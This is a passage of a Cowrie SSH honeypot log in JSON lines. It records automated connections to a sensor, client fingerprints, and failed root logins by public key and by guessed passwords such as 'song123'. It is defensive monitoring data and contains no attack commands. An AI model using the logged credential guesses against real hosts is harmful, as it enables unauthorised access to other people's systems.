ZPQOsK7r7T2QoD/mqP1gpAC+eHj9QKdw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:42.271649Z","src_ip":"198.98.60.130","session":"58a5a9315200","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:90:c4:43:7a:c8:dd:65:35:e3:f1:81:7d:a4:99:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmBjlMWJ5V+cAYIpJTjwYjj94ex0/o41omRYtEn0UY147DKuNlRZnpGZ3EqNihO2ZAWOQis7gU9MyQYO9fko3u6toXk0Berh67uIPrCwFLwQPIHh0hNIADBSsDZFMHXk4tC79UgHfrA6BTjr2hTvBev+L6FwzNN8/O1oxjco0Z5Stk+yoSaA7yUBed90KPKn5dEJ/NnX0y0/pGu0Eol4HSU48EexnbOR6v+dckQldhdKni3QF15eanhJvdQ2WHcaraMgOu1V6tXBn+n9sc1QSOAH9JzofLL0yqUnQnmaZXjhpUWTofQRiq2OSDBQIf05lQwg2A/qvBpkCi8eLVYh4Zw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:90:c4:43:7a:c8:dd:65:35:e3:f1:81:7d:a4:99:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:42.281369Z","src_ip":"198.98.60.130","session":"58a5a9315200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:90:c4:43:7a:c8:dd:65:35:e3:f1:81:7d:a4:99:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmBjlMWJ5V+cAYIpJTjwYjj94ex0/o41omRYtEn0UY147DKuNlRZnpGZ3EqNihO2ZAWOQis7gU9MyQYO9fko3u6toXk0Berh67uIPrCwFLwQPIHh0hNIADBSsDZFMHXk4tC79UgHfrA6BTjr2hTvBev+L6FwzNN8/O1oxjco0Z5Stk+yoSaA7yUBed90KPKn5dEJ/NnX0y0/pGu0Eol4HSU48EexnbOR6v+dckQldhdKni3QF15eanhJvdQ2WHcaraMgOu1V6tXBn+n9sc1QSOAH9JzofLL0yqUnQnmaZXjhpUWTofQRiq2OSDBQIf05lQwg2A/qvBpkCi8eLVYh4Zw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:42.284895Z","src_ip":"198.98.60.130","session":"58a5a9315200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:42.293624Z","src_ip":"198.98.60.130","session":"58a5a9315200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":35244,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ee032c75f95","protocol":"ssh","message":"New connection: 154.70.102.114:35244 (10.17.0.5:22) [session: 1ee032c75f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:02.404513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:02.409755Z","src_ip":"154.70.102.114","session":"1ee032c75f95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:02.610148Z","src_ip":"154.70.102.114","session":"1ee032c75f95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":42370,"dst_ip":"10.17.0.5","dst_port":22,"session":"882a685191ab","protocol":"ssh","message":"New connection: 168.144.95.137:42370 (10.17.0.5:22) [session: 882a685191ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:02.864994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:02.870333Z","src_ip":"168.144.95.137","session":"882a685191ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:03.079959Z","src_ip":"168.144.95.137","session":"882a685191ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"song123","message":"login attempt [root/song123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:03.443978Z","src_ip":"154.70.102.114","session":"1ee032c75f95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ranger123","message":"login attempt [root/ranger123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:03.946436Z","src_ip":"168.144.95.137","session":"882a685191ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:04.648126Z","src_ip":"154.70.102.114","session":"1ee032c75f95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:05.161065Z","src_ip":"168.144.95.137","session":"882a685191ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.194.183","src_port":46028,"dst_ip":"10.17.0.5","dst_port":22,"session":"16917280dbbf","protocol":"ssh","message":"New connection: 184.154.194.183:46028 (10.17.0.5:22) [session: 16917280dbbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:05.818659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:05.823667Z","src_ip":"184.154.194.183","session":"16917280dbbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:05.853495Z","src_ip":"184.154.194.183","session":"16917280dbbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":58708,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbbecf962293","protocol":"ssh","message":"New connection: 87.251.79.125:58708 (159.203.135.109:22) [session: fbbecf962293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:05.958413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:05.963604Z","src_ip":"87.251.79.125","session":"fbbecf962293","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:ac:cc:80:ed:8b:7b:30:31:9d:04:29:a9:3f:36:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFJIVtHDgFHGvR5TRnacl+NSB92g/ArOYUvI/2mRgbpBdMw56igoiLCIVnWsmuF2pVXNCjuOcvtvGUx8n5qsWgFlBBde9/XE8i4u5y1/ZB7twYt48x3S5lGojDSY6BH/1bQTD0zRiltMr9Eb1Piud9zlUcCkZiIH74MLno3081+c2kqBFkADAPNQyOw6nG6sD8773KbdQHFGNtpowX2hjwhCuVgCksZkKmQwLuk8LNe+ZpDJpVdpelKfhQQtXw+GHxIEKUiMQSoKZOiKYerzvCWaxvMj/ATFQ8K8BU+JPDdKQd6CPDybG51mSSiN5Ddlo86znyKnyw9U2ITWc2InGd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:ac:cc:80:ed:8b:7b:30:31:9d:04:29:a9:3f:36:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:05.977031Z","src_ip":"184.154.194.183","session":"16917280dbbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:ac:cc:80:ed:8b:7b:30:31:9d:04:29:a9:3f:36:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFJIVtHDgFHGvR5TRnacl+NSB92g/ArOYUvI/2mRgbpBdMw56igoiLCIVnWsmuF2pVXNCjuOcvtvGUx8n5qsWgFlBBde9/XE8i4u5y1/ZB7twYt48x3S5lGojDSY6BH/1bQTD0zRiltMr9Eb1Piud9zlUcCkZiIH74MLno3081+c2kqBFkADAPNQyOw6nG6sD8773KbdQHFGNtpowX2hjwhCuVgCksZkKmQwLuk8LNe+ZpDJpVdpelKfhQQtXw+GHxIEKUiMQSoKZOiKYerzvCWaxvMj/ATFQ8K8BU+JPDdKQd6CPDybG51mSSiN5Ddlo86znyKnyw9U2ITWc2InGd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:05.981167Z","src_ip":"184.154.194.183","session":"16917280dbbf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:76:a9:17:6c:e8:a0:6e:91:73:78:66:87:58:32:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkmG5hBsyB2fK8NWJhNRepbF0arGopOP+Eq867B7fSfbcWJn4TNE3QopK3FJ6ahXdF5y1cPNNaYbe3rH4o0TQCMYI6qpW+Y1DmiIstTbYY7LJfjWu5+vrL+5nqILBSWJFpiNcXQ4td7jPEoyyFLl6BgRyDVH3c+3Ax4SsnC0Y7wD0lNC2Oa6p3WvjQiB8f3+GmsmYFpGDzNUrnZwkiv583LUjFa0w0VXBXSn7ATdM+RNPdd68p3qPZ+jGRFniHtnQsvno29AClJvsUF+fNNG5MKNcRmxJpCOa82V+VTNL1fM8/X5RH3vaCVb4NcscVMpipOh39HSwMd0nURbrCjf7/y3TgNwY4tbdpYqqEmhHth1VyxC8/eSauShXw3j8o0/peHVR9BCQfD5ThHuM0YrrLihzImUGRNoPESSeVX4nHJ9CqvLE4WxE81z1+XGknoOkZyoAkTkKZIdNPLQ2U45PzT0zm/fBlsZVXayQbxNA0OAmOhSn4u+bQ602QamR7TgHKCs0ZAQGujkPzJ/s/JhBxLoweOuXj0Yc4QfYyVJsPIhRsjo/tm07WrjeBYfrK6A1sxyQfoBch7GE3eDIVHZfLQ0pRAsBwSoagDAeo/iDUABDsHyLzkpKeaAC+X6oTgN/4CIXlC0p44jgnJwmp6lxgPIUP+A+o0r/dfzy/879ryw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:76:a9:17:6c:e8:a0:6e:91:73:78:66:87:58:32:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:06.012624Z","src_ip":"184.154.194.183","session":"16917280dbbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:76:a9:17:6c:e8:a0:6e:91:73:78:66:87:58:32:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkmG5hBsyB2fK8NWJhNRepbF0arGopOP+Eq867B7fSfbcWJn4TNE3QopK3FJ6ahXdF5y1cPNNaYbe3rH4o0TQCMYI6qpW+Y1DmiIstTbYY7LJfjWu5+vrL+5nqILBSWJFpiNcXQ4td7jPEoyyFLl6BgRyDVH3c+3Ax4SsnC0Y7wD0lNC2Oa6p3WvjQiB8f3+GmsmYFpGDzNUrnZwkiv583LUjFa0w0VXBXSn7ATdM+RNPdd68p3qPZ+jGRFniHtnQsvno29AClJvsUF+fNNG5MKNcRmxJpCOa82V+VTNL1fM8/X5RH3vaCVb4NcscVMpipOh39HSwMd0nURbrCjf7/y3TgNwY4tbdpYqqEmhHth1VyxC8/eSauShXw3j8o0/peHVR9BCQfD5ThHuM0YrrLihzImUGRNoPESSeVX4nHJ9CqvLE4WxE81z1+XGknoOkZyoAkTkKZIdNPLQ2U45PzT0zm/fBlsZVXayQbxNA0OAmOhSn4u+bQ602QamR7TgHKCs0ZAQGujkPzJ/s/JhBxLoweOuXj0Yc4QfYyVJsPIhRsjo/tm07WrjeBYfrK6A1sxyQfoBch7GE3eDIVHZfLQ0pRAsBwSoagDAeo/iDUABDsHyLzkpKeaAC+X6oTgN/4CIXlC0p44jgnJwmp6lxgPIUP+A+o0r/dfzy/879ryw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:06.016664Z","src_ip":"184.154.194.183","session":"16917280dbbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:06.035043Z","src_ip":"87.251.79.125","session":"fbbecf962293","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:2c:7c:06:8e:26:a5:1b:1f:ff:de:06:28:b2:b0:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4wUxM90uo92XoyNRrOLZ8VmVeM6YH+aaa8uvZk+aRz408MXq6cFtp/dM53HxV2ZvV8vniA3z1nvYm4Pg6USfYcVt6hbchI5oT+LVG9D2hOX5HTjjg2JszmbZA6hY+cXWM1zd8WDK6r4ynPPaBPGRVcM0aMvH9fKXMB2qfV3ggHIY1zLB4yx8dNfxLeSVxsqcbfwPSk0SuwRDrjQuiJDHBDnNnxSLm/No783xCWPH1CXA5fF34UpsVrB++Ct+6QxwfGsk0K9GOXrpFsBRJ9KVv+GIaIK9vdh+d5Q7PyFsUD967loR68vgJoq0d+3fZ3I1AtMwTAog9YmUupA+l/eNyw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:2c:7c:06:8e:26:a5:1b:1f:ff:de:06:28:b2:b0:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:06.049114Z","src_ip":"184.154.194.183","session":"16917280dbbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:2c:7c:06:8e:26:a5:1b:1f:ff:de:06:28:b2:b0:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4wUxM90uo92XoyNRrOLZ8VmVeM6YH+aaa8uvZk+aRz408MXq6cFtp/dM53HxV2ZvV8vniA3z1nvYm4Pg6USfYcVt6hbchI5oT+LVG9D2hOX5HTjjg2JszmbZA6hY+cXWM1zd8WDK6r4ynPPaBPGRVcM0aMvH9fKXMB2qfV3ggHIY1zLB4yx8dNfxLeSVxsqcbfwPSk0SuwRDrjQuiJDHBDnNnxSLm/No783xCWPH1CXA5fF34UpsVrB++Ct+6QxwfGsk0K9GOXrpFsBRJ9KVv+GIaIK9vdh+d5Q7PyFsUD967loR68vgJoq0d+3fZ3I1AtMwTAog9YmUupA+l/eNyw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:06.053022Z","src_ip":"184.154.194.183","session":"16917280dbbf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:85:ee:d0:0c:b7:f7:6b:f2:80:ea:f0:d7:36:a4:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7W+YT+HX3yyGXsj/vPw5GfPEanXEttX25LpLjdeIUv06nenY3ESLdxkPQ/IXTSiErwc08LStkj5XFDaKfg/0tBbHZ13njtGJHf9qqRKp3QKtyR+mfwzp56cjj2/pJArOE7i3+7cBfRzQ649rfDtfRYUmKM1NG7CpZtsi/vCOFAPh6OTEDF9BxqdFn/Oo8NnLhw9M3xGZ2PdJi1iHYS1XnIesituphI6837GmLqOSLd7swYnSH4PwF4S3wyywi3z2xVd3RbHRqTRYFwmkD7POqMOOHKQK8LRdmb941btrjNdnzaOhUMdPF1RsJZSXJX00vCC6He0qyui1Co2S8D3daQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:85:ee:d0:0c:b7:f7:6b:f2:80:ea:f0:d7:36:a4:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:06.085705Z","src_ip":"184.154.194.183","session":"16917280dbbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:85:ee:d0:0c:b7:f7:6b:f2:80:ea:f0:d7:36:a4:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7W+YT+HX3yyGXsj/vPw5GfPEanXEttX25LpLjdeIUv06nenY3ESLdxkPQ/IXTSiErwc08LStkj5XFDaKfg/0tBbHZ13njtGJHf9qqRKp3QKtyR+mfwzp56cjj2/pJArOE7i3+7cBfRzQ649rfDtfRYUmKM1NG7CpZtsi/vCOFAPh6OTEDF9BxqdFn/Oo8NnLhw9M3xGZ2PdJi1iHYS1XnIesituphI6837GmLqOSLd7swYnSH4PwF4S3wyywi3z2xVd3RbHRqTRYFwmkD7POqMOOHKQK8LRdmb941btrjNdnzaOhUMdPF1RsJZSXJX00vCC6He0qyui1Co2S8D3daQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:06.089530Z","src_ip":"184.154.194.183","session":"16917280dbbf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:2e:66:e7:a8:09:fb:58:49:2d:7a:8f:db:8f:75:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqMZw4ytqJvC3GAdc1Tn2r8cyWp2K2Z/oMs4IGaGJPQQ/zd9Dtvx41sOl2riI0Uv0QGf5tXb8Ke3V5uPG4+GA9mzHTixKDEFejg6UtLw4arbEGewEyR2aj7pohVi9Aued3CyNmV6mxTzLcyDwvvZxBi2eUlKXre6HBOiAXJ6YUA3r2zwQkcXq3YG+Y3UC0je15mrMrIwWIwm0MCQh2IZfpI+4eBze5CdNzRXtL63pcoL3ZvniPn0zpQiYhwBTH8/s+/iIxg8N+nt4gyYWryQe5w3tC9bnu8vOMxmnrb4IiK71Sus0nz0jUNiOJ6DwydU1px78zDxR51ke2lwcf3H9Mw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:2e:66:e7:a8:09:fb:58:49:2d:7a:8f:db:8f:75:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:06.122110Z","src_ip":"184.154.194.183","session":"16917280dbbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:2e:66:e7:a8:09:fb:58:49:2d:7a:8f:db:8f:75:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqMZw4ytqJvC3GAdc1Tn2r8cyWp2K2Z/oMs4IGaGJPQQ/zd9Dtvx41sOl2riI0Uv0QGf5tXb8Ke3V5uPG4+GA9mzHTixKDEFejg6UtLw4arbEGewEyR2aj7pohVi9Aued3CyNmV6mxTzLcyDwvvZxBi2eUlKXre6HBOiAXJ6YUA3r2zwQkcXq3YG+Y3UC0je15mrMrIwWIwm0MCQh2IZfpI+4eBze5CdNzRXtL63pcoL3ZvniPn0zpQiYhwBTH8/s+/iIxg8N+nt4gyYWryQe5w3tC9bnu8vOMxmnrb4IiK71Sus0nz0jUNiOJ6DwydU1px78zDxR51ke2lwcf3H9Mw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:06.125808Z","src_ip":"184.154.194.183","session":"16917280dbbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:06.159328Z","src_ip":"184.154.194.183","session":"16917280dbbf","protocol":"ssh"}
